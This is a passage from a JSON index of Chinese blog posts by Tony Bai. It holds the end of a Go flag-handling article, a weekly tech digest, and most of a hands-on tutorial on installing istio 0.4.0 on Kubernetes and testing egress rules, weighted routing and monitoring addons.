fmt.Println(endpoints, user, password) } 运行该程序：\n$go run main.go -endpoints 192.168.10.69:2379,10.10.12.36:2378 -user tonybai -password xyz123 192.168.10.69:2379,10.10.12.36:2378 tonybai xyz123 输出与我们的预期是一致的。\n5、对比 我们用一幅图来对上述几种方法进行对比：\n很显然，经过简单包装后，“黑魔法”flaglookup应该是比较优异的方案。main包、other packages只需import flag即可。\n注意：在main包中定义exported的全局flag变量并被其他package import的方法是错误的，很容易造成import cycle问题。并且任何其他package import main包都是不合理的。\n五. 小结 以上是这段时间遇到的、收集的一些Go问题以及solution。注意：这些solution不一定是最优方案哦！如果您有更好方案，欢迎批评指正和互动交流。\n本文章中涉及到的所有源码和配置文件在这里可以下载到。\n微博：@tonybai_cn\n微信公众号：iamtonybai\ngithub.com: https://github.com/bigwhite\n微信赞赏：\n","permalink":"https://tonybai.com/2018/01/13/the-problems-i-encountered-when-writing-go-code-issue-1st/","summary":"\u003cp\u003e程序员步入“大龄”，写代码的节奏也会受到影响。以前是长时间持续地写，现在写代码的节奏变成了“波浪形”：即写一段时间，歇一段时间。当然这里的“歇”并不是真的歇，而是做其他事情了，比如：回顾、整理与总结。\u003c/p\u003e","title":"写Go代码时遇到的那些问题[第1期]"},{"content":"本文是首发于个人微信公众号的文章**“TB一周萃选[第4期]”**的归档。\n孩子，我要求你读书用功，不是因为我要你跟别人比成绩，而是因为，我希望你将来会拥有选择的权利，选择有意义、有时间的工作，而不是被迫谋生。当你的工作在你心中有意义，你就有成就感。当你的工作给你时间，不剥夺你的生活，你就有尊严。成就感和尊严，给你快乐。——龙应台 《亲爱的安德烈》\n这两天中原大地的一场大雪正式宣告了深冬的到来。小寒节气已过，我们即将经历“三九天”的严寒。不过在这种寒冷的天气下，有一群人却不以为然，他们仍然绽放着天真无邪的笑脸，那就是低年级的孩子们，因为寒假来了。\n寒假意味着孩子们的阶段性“解脱”，因为中国孩子的学习是很辛苦的，而且这种“辛苦程度”丝毫没有减弱的趋势。就在刚才开车回家的路上还碰到一辆高中放学的校车，此时的时间已经指向了晚上20:30。这勾起了我高中时代的回忆，只不过那时我没有校车坐，而是自己骑车披星戴月地上下学。现在的我作为一名家长或多或少还是了解一些小学教育的实际情况的。就拿我家闺女来说吧，(市重点)小学二年级学生，平时还好些，一到期末复习阶段（一般提前一个月课程就学完了），几乎每天都在“刷题”，有时一天能刷五六张“大卷纸”。多么美好的校园童年时光，就在这“题海”中消耗了!\n不得不承认，近三十年来，中国教育在硬件设施、教育普及程度是大幅提升了，但教育理念和方式方法依旧落后，甚至原地踏步。我的一种赶脚：中国现在不缺顶尖科学家、不缺顶尖工程师，不缺顶尖的工匠，唯独缺少的是顶尖的、能够影响社会、能够影响领导层决策的教育大家。\n寒假即将开始，希望像我闺女一样的众多小朋友们能在这个寒假中开开心心地做一些自己想做的事情。\n一、一周文章精粹 1. C语言当选2017 TIBOE年度编程语言 时间飞逝！大脑中还满满是去年Go语言当选TIBOE年度编程语言的情景。在刚刚公布的2017年TIBOE年度编程语言中，老当益壮的C语言战胜了新秀Kotlin当选年度语言。C语言的当选，一方面反映了其他主流编程语言在2016年的表现不是很给力，另外一方面也说明了快速发展的制造行业、智能机器行业中，C语言的应用十分广泛。\n2. The Why of Go Travis CI的Infrastructure工程师Carmen Andoh 从编程语言发展演化的角度讲述了Go的诞生的来龙去脉、Go的典型特性(并发、GC等)的设计考量及与其他主流语言的对比，137页的slides，内容很丰富。\n原文链接：“The Why of Go”\n3. Go 1.10解读 这是Gopher Academy Blog的Advent 2017系列的倒数第二篇文章，由gopherconeu和LondonGophers的联合发起人Florin Pățan(dlsniper)撰文对即将发布的Go 1.10的变化做了详尽说明，有些类似Go 1.10 release notes，但又有不同。\n原文链接：“Go 1.10″\n4. 使用istio治理微服务入门 做了一年多微服务开发，感受到了微服务的好，也困惑于微服务治理之痛。Service Mesh概念的出现，尤其是istio项目的发布让我眼前一亮。迎着2018年第一缕阳光，我亲自动手验证了如何使用istio治理微服务，虽说还不成熟，但未来可期。\n原文链接：“使用istio治理微服务入门”\n5. 2018，关于区块链的18个预测 2017年，比特币价格像坐上了火箭，年底冲破20000美元大关。这让比特币背后的技术-区块链再次成为人们关注的焦点。国外专业人士提出了关于区块链在2018的18个预测，建议大家不妨看看，不要失去下一个风口哦！\n原文链接：“18 Blockchain Predictions for 2018”\n6. Kubernetes入门教程 这是由一位Google Cloud Platform的员工编写的Kubernetes入门教程！\n原文链接：“Kubernetes 101: Pods, Nodes, Containers, and Clusters”\n二、一周资料分享 1. Conduit官方文档中文版 在istio项目发布之后，service mesh概念的提出者、Buoyant公司的William Morgan在Kubecon 2017 austin大会上宣布发布Conduit项目。Conduit是Buoyant公司继linkerd之后的第二代专门面向Kubernetes的超轻量Service Mesh开源项目，它的控制平台由Go实现，数据平面则由Rust实现。这也是buoyant公司在service mesh针对istio项目的反制措施。servicemesh中文社区对conduit文档做了翻译。\n资料分享链接：“Conduit官方文档中文版”\n三、一周工具推荐 1. Android上运行linux环境的神器：Termux Termux是一个Android terminal emulator，可以像那些terminal工具一样，提供基本的shell操作命令；除此之外它还可以提供一套模拟的Linux环境，你可以在无需root、无需root、无需root的情况下，像在PC linux环境下一样进行各种Linux操作，包括使用apt工具进行安装包管理、定制shell、访问网络、编写源码、编译和运行程序，甚至将手机作为反向代理、负载均衡服务器或是Web服务器，又或是做一些羞羞的hack行为等。\n工具链接：Termux\n四、一周图书推荐 1. 21本关于开源的必读书单 2017岁尾，Linux Foundation上发表了一篇博客，给出了一份开源项目开发者、爱好者、企业开源程序负责人必读的书单。这些书涵盖开源项目开发、组织、工具使用、开源项目使用、社区维护、商业模式等诸多领域。\n书单链接：“The Essential Open Source Reading List: 21 Must-Read Books”\n我的联系方式：\n微博：http://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/01/06/4th-issue-of-the-tech-weekly-carefully-chosen-by-tonybai/","summary":"\u003cp\u003e本文是首发于\u003ca href=\"https://mp.weixin.qq.com/mp/qrcode?scene=10000005\u0026amp;size=102\u0026amp;__biz=MzIyNzM0MDk0Mg==\u0026amp;mid=2247483848\u0026amp;idx=1\u0026amp;sn=a3cd9182a2b2d3716623cc2c43d59f37\u0026amp;send_time=\"\u003e个人微信公众号\u003c/a\u003e的文章**“TB一周萃选[第4期]”**的归档。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/weekly-issues/4th-issue/winter-vocation-begins.jpg\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e孩子，我要求你读书用功，不是因为我要你跟别人比成绩，而是因为，我希望你将来会拥有选择的权利，选择有意义、有时间的工作，而不是被迫谋生。当你的工作在你心中有意义，你就有成就感。当你的工作给你时间，不剥夺你的生活，你就有尊严。成就感和尊严，给你快乐。——龙应台 《亲爱的安德烈》\u003c/p\u003e","title":"TB一周萃选[第4期]"},{"content":"近两年微服务架构流行，主流互联网厂商内部都已经微服务化，初创企业虽然技术积淀不行，但也通过各种开源工具拥抱微服务。再加上容器技术赋能，Kubernetes又添了一把火，微服务架构已然成为当前软件架构设计的首选。\n但微服务化易弄，服务治理难搞！\n一、微服务的“痛点” 微服务化没有统一标准，多数是进行业务领域垂直切分，业务按一定的粒度划分职责，并形成清晰、职责单一的服务接口，这样每一块规划为一个微服务。微服务之间的通信方案相对成熟，开源领域选择较多的有RPC或RESTful API方案，比如：gRPC、apache thrift等。这些方案多偏重于数据如何打包、传输与解包，对服务治理的内容涉及甚少。\n微服务治理是头疼的事，也是微服务架构中的痛点。治理这个词有多元含义，很难下达一个精确定义，这里可以像小学二年级学生那样列出治理的诸多近义词：管理、控制、规则、掌控、监督、支配、规定、统治等。对于微服务而言，治理体现在以下诸多方面：\n服务注册与发现 身份验证与授权 服务的伸缩控制 反向代理与负载均衡 路由控制 流量切换 日志管理 性能度量、监控与调优 分布式跟踪 过载保护 服务降级 服务部署与版本升级策略支持 错误处理 … … 从微服务治理角度来说，微服务其实是一个“大系统”，要想将这个大系统全部落地，绝非易事，尤其是之前尚没有一种特别优雅的技术方案。多数方案(比如：dubbo、go-kit等。)都或多或少地对应用逻辑有一定的侵入性，让业务开发人员不能只focus到业务本身，还要关心那些“治理”逻辑。并且市面上内置了微服务治理逻辑的框架较少，且很多编程语言相关。这种情况下，大厂多选择自研或基于某个框架改造，小厂一般只能“东拼西凑”一些“半成品”凑合着使用，就这样微服务也走过了若干年。\n二、Service Mesh横空出世，istio带来“福音” 我不知道在没有TCP/IP协议的年代，主机和主机之间的应用通信时是否需要应用关心底层通信协议实现逻辑。但是和TCP/IP诞生的思想类似，在微服务使用多年后，人们发现需要独立地抽象出一层逻辑网络，专门用于“微服务通信与治理策略的落地”，让应用只关心业务，把服务治理的事情全部交由“这一层”去处理。\n图：传统微服务之间的微服务治理逻辑的位置\n图：微服务治理逻辑被独立出来之后的位置\n由“Service Govern Logic”这一层组成的逻辑网络被定义为service mesh，每个微服务都包含一个service mesh的端点。\n**“Service Mesh”**概念还非常年轻，这个词在国内被翻译为“服务网格”或“服务啮合层”，我们这里就用Service Mesh这个英文词。这里摘录一下ServiceMesh中文社区上的一篇名为“年度盘点2017之Service Mesh：群雄逐鹿烽烟起”的文章中对Service Mesh概念的回顾：\n在 2016 年年初，“Service Mesh”还只是 Buoyant 公司的内部词汇，而之后，它开始逐步走向社区： 2016 年 9 月 29 日在 SF Microservices 上，“Service Mesh”这个词汇第一次在公开场合被使用。这标志着“Service Mesh”这个词，从 Buoyant 公司走向社区。 2016 年 10 月，Alex Leong 开始在 Buoyant 公司的官方 Blog 中连载系列文章“A Service Mesh for Kubernetes”。随着“The Services must Mesh”口号的喊出，Buoyant 和 Linkerd 开始 Service Mesh 概念的布道。 2017 年 4 月 25 日，William Morgan 发布博文“What’s a service mesh? And why do I need one?”。正式给 Service Mesh 做了一个权威定义。 而Service Mesh真正引起大家关注要源于istio项目的开源发布。为什么呢？个人觉得还是因为“爹好”！istio项目由Google、IBM共同合作创建，lyft公司贡献了envoy项目将作为istio service mesh的data panel。Google、IBM的影响力让Service Mesh概念迅速传播，同时也让大家认识到了istio项目在service mesh领域的重要性，于是纷纷选择积极支持并将自己的产品或项目与istio项目集成。\nistio项目是service mesh概念的最新实现，旨在所有主流集群管理平台上提供service mesh层，初期以实现Kubernetes上的服务治理层为目标。它由控制平面和数据平面组成（是不是感觉和SDN的设计理念相似啊）。控制平面由Go语言实现，包括pilot、mixer、auth三个组件；数据平面功能暂由envoy在pod中以sidecar的部署形式提供。下面是官方的架构图：\n图：istio架构图(来自官网)\nsidecar中envoy代理了pod中真正业务container的所有进出流量，并对这些流量按照控制平面设定的“治理逻辑”进行处理。而这一切对pod中的业务应用是透明的，开发人员可以专心于业务逻辑，而无需再关心微服务治理的逻辑。istio代表的service mesh的设计理念被认为是下一代“微服务统一框架”，甚至有人认为是微服务框架演化的终点。\nistio于2017 年 5 月 24 日发布了0.1 release 版本，截至目前为止istio的版本更新到v0.4.0，演进速度相当快，不过目前依然不要用于生产环境，至少要等到1.0版本发布吧。但对于istio的早期接纳者而言，现在正是深入研究istio的好时机。在本篇的接下来内容中，我们将带领大家感性的认识一下istio，入个门儿。\n三、istio安装 istio目前支持最好的就是kubernetes了，因此我们的实验环境就定在kubernetes上。至于版本，istio当前最新版本为0.4.0，这个版本据说要k8s 1.7.4及以上版本用起来才不会发生小毛病:)。我的k8s集群是v1.7.6版本的，恰好满足条件。下面是安装过程：（Node上的os是ubuntu 16.04）\n# wget -c https://github.com/istio/istio/releases/download/0.4.0/istio-0.4.0-linux.tar.gz 解压后，进入istio-0.4.0目录， # ls -F bin/ install/ istio.VERSION LICENSE README.md samples/ # cat istio.VERSION # DO NOT EDIT THIS FILE MANUALLY instead use # install/updateVersion.sh (see install/README.md) export CA_HUB=\u0026quot;docker.io/istio\u0026quot; export CA_TAG=\u0026quot;0.4.0\u0026quot; export MIXER_HUB=\u0026quot;docker.io/istio\u0026quot; export MIXER_TAG=\u0026quot;0.4.0\u0026quot; export PILOT_HUB=\u0026quot;docker.io/istio\u0026quot; export PILOT_TAG=\u0026quot;0.4.0\u0026quot; export ISTIOCTL_URL=\u0026quot;https://storage.googleapis.com/istio-release/releases/0.4.0/istioctl\u0026quot; export PROXY_TAG=\u0026quot;0.4.0\u0026quot; export ISTIO_NAMESPACE=\u0026quot;istio-system\u0026quot; export AUTH_DEBIAN_URL=\u0026quot;https://storage.googleapis.com/istio-release/releases/0.4.0/deb\u0026quot; export PILOT_DEBIAN_URL=\u0026quot;https://storage.googleapis.com/istio-release/releases/0.4.0/deb\u0026quot; export PROXY_DEBIAN_URL=\u0026quot;https://storage.googleapis.com/istio-release/releases/0.4.0/deb\u0026quot; export FORTIO_HUB=\u0026quot;docker.io/istio\u0026quot; export FORTIO_TAG=\u0026quot;0.4.2\u0026quot; # cd install/kubernetes 我们先不用auth功能，因此使用istio.yaml这个文件进行istio组件安装： # kubectl apply -f istio.yaml namespace \u0026quot;istio-system\u0026quot; created clusterrole \u0026quot;istio-pilot-istio-system\u0026quot; created clusterrole \u0026quot;istio-initializer-istio-system\u0026quot; created clusterrole \u0026quot;istio-mixer-istio-system\u0026quot; created clusterrole \u0026quot;istio-ca-istio-system\u0026quot; created clusterrole \u0026quot;istio-sidecar-istio-system\u0026quot; created clusterrolebinding \u0026quot;istio-pilot-admin-role-binding-istio-system\u0026quot; created clusterrolebinding \u0026quot;istio-initializer-admin-role-binding-istio-system\u0026quot; created clusterrolebinding \u0026quot;istio-ca-role-binding-istio-system\u0026quot; created clusterrolebinding \u0026quot;istio-ingress-admin-role-binding-istio-system\u0026quot; created clusterrolebinding \u0026quot;istio-sidecar-role-binding-istio-system\u0026quot; created clusterrolebinding \u0026quot;istio-mixer-admin-role-binding-istio-system\u0026quot; created configmap \u0026quot;istio-mixer\u0026quot; created service \u0026quot;istio-mixer\u0026quot; created serviceaccount \u0026quot;istio-mixer-service-account\u0026quot; created deployment \u0026quot;istio-mixer\u0026quot; created customresourcedefinition \u0026quot;rules.config.istio.io\u0026quot; created customresourcedefinition \u0026quot;attributemanifests.config.istio.io\u0026quot; created ... ... customresourcedefinition \u0026quot;reportnothings.config.istio.io\u0026quot; created attributemanifest \u0026quot;istioproxy\u0026quot; created attributemanifest \u0026quot;kubernetes\u0026quot; created stdio \u0026quot;handler\u0026quot; created logentry \u0026quot;accesslog\u0026quot; created rule \u0026quot;stdio\u0026quot; created metric \u0026quot;requestcount\u0026quot; created metric \u0026quot;requestduration\u0026quot; created metric \u0026quot;requestsize\u0026quot; created metric \u0026quot;responsesize\u0026quot; created metric \u0026quot;tcpbytesent\u0026quot; created metric \u0026quot;tcpbytereceived\u0026quot; created prometheus \u0026quot;handler\u0026quot; created rule \u0026quot;promhttp\u0026quot; created rule \u0026quot;promtcp\u0026quot; created kubernetesenv \u0026quot;handler\u0026quot; created rule \u0026quot;kubeattrgenrulerule\u0026quot; created kubernetes \u0026quot;attributes\u0026quot; created configmap \u0026quot;istio\u0026quot; created customresourcedefinition \u0026quot;destinationpolicies.config.istio.io\u0026quot; created customresourcedefinition \u0026quot;egressrules.config.istio.io\u0026quot; created customresourcedefinition \u0026quot;routerules.config.istio.io\u0026quot; created service \u0026quot;istio-pilot\u0026quot; created serviceaccount \u0026quot;istio-pilot-service-account\u0026quot; created deployment \u0026quot;istio-pilot\u0026quot; created service \u0026quot;istio-ingress\u0026quot; created serviceaccount \u0026quot;istio-ingress-service-account\u0026quot; created deployment \u0026quot;istio-ingress\u0026quot; created serviceaccount \u0026quot;istio-ca-service-account\u0026quot; created deployment \u0026quot;istio-ca\u0026quot; created 注：我还曾在k8s v1.7.3上安装过istio 0.3.0版本，但在创建组件时会报下面错误（这个错误可能会导致后续addon安装后工作不正常）：\nunable to recognize \u0026quot;istio.yaml\u0026quot;: no matches for config.istio.io/, Kind=metric unable to recognize \u0026quot;istio.yaml\u0026quot;: no matches for config.istio.io/, Kind=metric unable to recognize \u0026quot;istio.yaml\u0026quot;: no matches for config.istio.io/, Kind=metric unable to recognize \u0026quot;istio.yaml\u0026quot;: no matches for config.istio.io/, Kind=metric unable to recognize \u0026quot;istio.yaml\u0026quot;: no matches for config.istio.io/, Kind=metric unable to recognize \u0026quot;istio.yaml\u0026quot;: no matches for config.istio.io/, Kind=metric 安装后，我们在istio-system这个namespace下会看到如下pod和service在运行（由于istio的各个组件的image size都不小，因此pod状态变为running需要一丢丢时间，耐心等待）：\n# kubectl get pods -n istio-system NAME READY STATUS RESTARTS AGE istio-ca-1363003450-jskp5 1/1 Running 0 3d istio-ingress-1005666339-c7776 1/1 Running 4 3d istio-mixer-465004155-twhxq 3/3 Running 24 3d istio-pilot-1861292947-6v37w 2/2 Running 18 3d # kubectl get svc -n istio-system NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE istio-ingress 10.98.10.87 \u0026lt;pending\u0026gt; 80:31759/TCP,443:25804/TCP 4d istio-mixer 10.109.244.155 \u0026lt;none\u0026gt; 9091/TCP,15004/TCP,9093/TCP,9094/TCP,9102/TCP,9125/UDP,42422/TCP 4d istio-pilot 10.105.80.55 \u0026lt;none\u0026gt; 15003/TCP,443/TCP 4d istio安装成功！\n四、服务治理策略验证 接下来我们来用几个例子验证一下istio在服务治理方面的能力！（istio自带一些完整的例子，比如bookinfo，用于验证服务治理的能力，但这里先不打算用这些例子）\n1、验证环境和拓扑 我们先来看一下验证环境的示意图：\n我们看到在service mesh中部署了两个service: server_a和service_b，前者调用后者完成某项业务，后者则调用外部服务完成业务逻辑。\nservice_a: 模拟pay服务，在收到client请求后，进行pay处理，并将处理结果通过service_b提供的msg notify服务下发给user。该服务的endpoint为/pay； service_b: 模拟notify服务，在收到service_a请求后，将message转发给external service，完成notify逻辑。该服务的endpoint为/notify； external service: 位于service mesh之外。 client：我们使用curl模拟。 我们先来部署service_a和service_b的v0.1版本：\n以service_a的部署为例, service_a的deployment文件如下：\n//svca-v0.1.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: svca spec: replicas: 1 template: metadata: labels: app: svca version: v0.1 spec: containers: - name: svca image: docker.io/bigwhite/istio-demo-svca:v0.1 imagePullPolicy: Always --- apiVersion: v1 kind: Service metadata: name: svca labels: app: svca spec: ports: - port: 80 targetPort: 8080 protocol: TCP selector: app: svca 注意，我们部署service_a时不能直接使用kubectl apply -f svca-v0.1.yaml，而是要apply经过istioctl(需将istio安装目录下的bin放入PATH)处理过的yaml，以注入sidecar容器。当然也可以配置为自动为每个k8s启动的pod注入sidecar，但我们这里没有使用自动注入。我们执行下面命令：\n# kubectl apply -f \u0026lt;(istioctl kube-inject -f svca-v0.1.yaml) deployment \u0026quot;svca\u0026quot; created service \u0026quot;svca\u0026quot; created # kubectl get pods NAME READY STATUS RESTARTS AGE svca-1997590752-tpwjf 2/2 Running 0 2m 同样的方法，我们来创建svcb:v0.1:\n# kubectl apply -f \u0026lt;(istioctl kube-inject -f svcb-v0.1.yaml) deployment \u0026quot;svcb\u0026quot; created service \u0026quot;svcb\u0026quot; created 我们看到istio向每个pod中插入一个sidecar container，这个就是前面说的envoy，只不过container名字为istio-proxy。\n接下来，我们把那个external service启动起来：\n# nohup ./msgd \u0026gt; 1.log \u0026amp; 2\u0026gt;\u0026amp;1 [1] 9423 实验环境ok了。下面我们来验证一下业务是否是通的。\n2、egress rule 按照之前我们的设定，我们使用curl去访问service_a服务的/pay端点，我们查看一下svca服务的ip和端口：\n# kubectl get svc NAME CLUSTER-IP EXTERNAL-IP PORT(S) svca 10.105.38.238 \u0026lt;none\u0026gt; 80/TCP 9h svcb 10.105.119.194 \u0026lt;none\u0026gt; 80/TCP 9h 我们访问一下svca服务，svca的服务地址可以通过kubectl get svc查到：\n# curl {svca_ip}/pay 查看svca和svcb的日志：\n//service_a的日志： service_a:v0.1 is serving the request... service_a:v0.1 pays ok \u0026amp;{500 Internal Server Error 500 HTTP/1.1 1 1 map[X-Content-Type-Options:[nosniff] Date:[Tue, 02 Jan 2018 15:41:50 GMT] Content-Length:[66] Content-Type:[text/plain; charset=utf-8]] 0xc420058d40 66 [] false false map[] 0xc4200eaf00 \u0026lt;nil\u0026gt;} service_a:v0.1 notify customer ok // service_b的日志： \u0026amp;{GET /notify?msg=service_a:v0.1-pays-ok HTTP/1.1 1 1 map[User-Agent:[Go-http-client/1.1] Accept-Encoding:[gzip]] {} \u0026lt;nil\u0026gt; 0 [] false svcb map[] map[] \u0026lt;nil\u0026gt; map[] 127.0.0.1:58778 /notify?msg=service_a:v0.1-pays-ok \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; 0xc4200fa3c0} service_b:v0.1 is serving the request... service_b:v0.1 send msg error: Get http://10.100.35.27:9997/send?msg=service_a:v0.1-pays-ok: EOF 我们看到service_a和service_b都返回了错误日志（注意：go http get方法对于non-2xx response不会返回错误，我们只是看到了response中的500状态码才意识到错误的存在）。其中源头在service_b，原因是其连不上那个external service！那么为什么连不上external service呢？这是由于缺省情况下，启用了Istio的服务是无法访问外部URL的，这是因为Pod中的iptables把所有外发传输都转向到了Sidecar代理，而这一代理只处理集群内的访问目标。因此位于service mesh内的服务svcb无法访问外部的服务(msgd)，我们需要显式的添加egressrule规则：\n我们创建一个允许svcb访问外部特定服务的EgressRule：\n//rules/enable-svcb-engress-rule.yaml apiVersion: config.istio.io/v1alpha2 kind: EgressRule metadata: name: enable-svcb-engress-rule spec: destination: service: 10.100.35.27 ports: - port: 9997 protocol: http 使规则生效：\n# istioctl create -f enable-svcb-engress-rule.yaml Created config egress-rule/default/enable-svcb-engress-rule at revision 30031258 这时你再尝试curl svca，我们可以看到msgd的日志中出现了下面的内容：\n2018/01/02 23:58:16 \u0026amp;{GET /send?msg=service_a:v0.1-pays-ok HTTP/1.1 1 1 map[X-Ot-Span-Context:[2157e7ffb8105330;2157e7ffb8105330;0000000000000000] Content-Length:[0] User-Agent:[Go-http-client/1.1] X-Forwarded-Proto:[http] X-Request-Id:[13c3af6e-2f52-993d-905f-aa6aa4b57e2d] X-Envoy-Decorator-Operation:[default-route] X-B3-Spanid:[2157e7ffb8105330] X-B3-Sampled:[1] Accept-Encoding:[gzip] X-B3-Traceid:[2157e7ffb8105330] X-Istio-Attributes:[Ch8KCXNvdXJjZS5pcBISMhAAAAAAAAAAAAAA//8KLgAMCjoKCnNvdXJjZS51aWQSLBIqa3ViZXJuZXRlczovL3N2Y2ItMjAwODk3Mzc2OS1ncTBsaC5kZWZhdWx0]] {} \u0026lt;nil\u0026gt; 0 [] false 10.100.35.27:9997 map[] map[] \u0026lt;nil\u0026gt; map[] 10.100.35.28:38188 /send?msg=service_a:v0.1-pays-ok \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; \u0026lt;nil\u0026gt; 0xc4200584c0} 2018/01/02 23:58:16 Msgd is serving the request... 2018/01/02 23:58:16 Msgd recv msg ok, msg= service_a:v0.1-pays-ok 说明Svcb到外部服务的通信被打通了！\n3、迁移流量到新版本svcb:v0.2 我们经常有这样的需求，当svcb运行一段时间后，svcb添加了新feature，版本要升级到v0.2了，这时我们会部署svcb:v0.2，并将流量逐步切到v0.2上。\n我们先来部署一下svcb:v0.2：\n// svcb-v0.2.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: svcb-v0.2 spec: replicas: 1 template: metadata: labels: app: svcb version: v0.2 spec: containers: - name: svcb image: docker.io/bigwhite/istio-demo-svcb:v0.2 imagePullPolicy: Always 我们可以看到，服务名不变，但版本的label变成了v0.2，我们来执行这次部署：\n# kubectl apply -f \u0026lt;(istioctl kube-inject -f svcb-v0.2.yaml) deployment \u0026quot;svcb-v0.2\u0026quot; created # kubectl get pods NAME READY STATUS RESTARTS AGE svca-1997590752-pq9zg 2/2 Running 0 9h svcb-2008973769-gq0lh 2/2 Running 0 9h svcb-v0.2-3233505404-0g55w 2/2 Running 0 1m svcb服务下又增加了一个endpoint: # kubectl describe svc/svcb .... ... Selector: app=svcb Type: ClusterIP IP: 10.105.119.194 Port: \u0026lt;unset\u0026gt; 80/TCP Endpoints: 10.40.0.28:8080,10.46.0.12:8080 ... ... 此时，如果按照k8s的调度方式，v0.1和v0.2版本的两个svcb pod应该1:1均衡地承载流量。为了方便查看流量分布，我们将每个版本的svcb的pod副本数量都扩展为2个(replicas: 2)，这样service mesh中一共会有4个 svcb endpoints。\n通过curl访问svca注入流量后，我们发现流量都集中在一个svcb:v0.2的pod上，并且长时间没有变化。我们通过下面的route rule规则来尝试将流量在svcb:v0.1和svcb:v0.2之间1:1均衡：\n// route-rules-svcb-v0.2-50.yaml apiVersion: config.istio.io/v1alpha2 kind: RouteRule metadata: name: route-rules-svcb spec: destination: name: svcb precedence: 1 route: - labels: version: v0.1 weight: 50 - labels: version: v0.2 weight: 50 # istioctl create -f route-rules-svcb-v0.2-50.yaml Created config route-rule/default/route-rules-svcb at revision 30080638 按照istio文档中的说法，这个规则的生效需要一些时间。之后我们注入流量，发现流量切换到svcb:v0.1的一个pod上去了，并且很长一段时间不曾变化，未均衡到svcb:v0.2上去。\n我们更新一下route rule，将流量全部切到svcb:v0.2上去：\n//route-rules-svcb-v0.2-100.yaml apiVersion: config.istio.io/v1alpha2 kind: RouteRule metadata: name: route-rules-svcb spec: destination: name: svcb precedence: 1 route: - labels: version: v0.2 weight: 100 # istioctl replace -f route-rules-svcb-v0.2-100.yaml Updated config route-rule/default/route-rules-svcb to revision 30082944 我们用istio的replace命令更新了规则：route-rules-svcb。更新后，再次注入流量，这回流量重新集中在svcb:v0.2的一个pod上了，再过一段时间另外一个svcb:v0.2的pod上才有了一些流量。但svcb:v0.1上不再有流量，这个切换是成功的。\n在k8s的service的负载均衡中，k8s就利用了iptables的概率转发（random –probability 0.5），因此这种流量均衡并非是精确的，只有在长时间大量流量经过后，才能看到流量的分布与设定的权重是相似的，可能istio也是如此，这里仅是入门，就不深入挖掘了。\n当然istio在路由规则设施方面的“能耐”远不止上面例子中所展示的那样，如果要悉数列出，那本文的长度可是要爆掉了。有兴趣的朋友可以去翻看官方文档。\n五、插件安装 istio的强大微服务治理能力还体现在其集成了grafana、prometheus、servicegraph、zipkin等addons，应用程序无需做任何改动，就可以具有数据收集、度量与可视化的监控能力、服务的分布式跟踪能力等。我们可以在istio的安装包中找到这些addons的安装文件，我们来逐一试试。\n1、prometheus \u0026amp; grafana 我们先来安装一下prometheus 和 grafana插件(位于istio-0.4.0/install/kubernetes/addon下面)：\n# kubectl apply -f prometheus.yaml configmap \u0026quot;prometheus\u0026quot; created service \u0026quot;prometheus\u0026quot; created deployment \u0026quot;prometheus\u0026quot; created # kubectl apply -f grafana.yaml service \u0026quot;grafana\u0026quot; created deployment \u0026quot;grafana\u0026quot; created # kubectl get pods -n istio-system NAME READY STATUS RESTARTS AGE grafana-3617079618-zpglx 1/1 Running 0 5m prometheus-168775884-ppfxr 1/1 Running 0 5m ... ... # kubectl get svc -n istio-system NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE grafana 10.105.21.25 \u0026lt;none\u0026gt; 3000/TCP 16m prometheus 10.103.160.37 \u0026lt;none\u0026gt; 9090/TCP 16m ... ... 浏览器中输入prometheus的服务地址http://10.103.160.37:9090，访问prometheus:\n点击菜单项：status -\u0026gt; targets，查看各个target的状态是否正常：\n如果像上图所示那样，各个target都是up状态，那就说明istio运行时ok的。否则请参考istio troubleshooting中的内容对istio逐一进行排查，尤其是istio-mesh这个Target在istio-0.3.0+kubernetes 1.7.3的环境中就是Down的状态。\n浏览器输入grafana的服务地址：http://10.105.21.25:3000/，打开grafana面板：\n切换到Istio Dashboard，并向istio service mesh注入流量，我们会看到仪表盘变化如下：\n2、servicegraph servicegraph插件是用来查看服务调用关系的，我们来创建一下该组件：\n# kubectl apply -f servicegraph.yaml deployment \u0026quot;servicegraph\u0026quot; created service \u0026quot;servicegraph\u0026quot; created # kubectl get svc -n istio-system NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE servicegraph 10.108.245.21 \u0026lt;none\u0026gt; 8088/TCP 52s ... ... 创建成功后，向service mesh网络注入流量，然后访问servicegraph：http://{servicegraph_ip}:8088/dotviz，在我的环境里，我看到的图示如下：\n调用关系似乎有些乱，难道是我在程序使用的调用方法不够标准？:(\n3、zipkin istio集成了zipkin，利用zipkin我们可以做分布式服务调用的追踪。之前自己曾经搭建过基于jaeger和opentracing的分布式调用服务，十分繁琐。并且要想使用tracing，对应用代码的侵入必不可少。\n我们安装一下zipkin addon:\n# kubectl apply -f zipkin.yaml deployment \u0026quot;zipkin\u0026quot; created service \u0026quot;zipkin\u0026quot; created # kubectl get svc -n istio-system NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE zipkin 10.105.7.219 \u0026lt;none\u0026gt; 9411/TCP 1h 我们访问以下zikpin的UI，通过浏览器打开http://{zipkin_service_ip}:9411。\n接下来，我们向service mesh注入一些流量，然后再zipkin首页的“服务名”下拉框中选择”svcb”，查找跟踪情况：\n我们看到：在没有对svca, svcb做任何修改的情况下，我们依然可以在zipkin中找到svcb相关的调用。点击其中一个trace，可以查看细节：\n当然如果你想做内容更为丰富的、更为强大的跟踪，可能需要在应用代码中做些配合，具体可以参见：istio的分布式跟踪。\n六、小结 istio项目诞生不到一年，目前离成熟还远。快速积极开发可能会导致istio的接口和实现机制都会发生很大的变化，因此本文不能保证内容将适用于后续所有istio的发布版本。\n本文涉及到的源码在这里可以下载到，demo service的镜像可以在我的docker 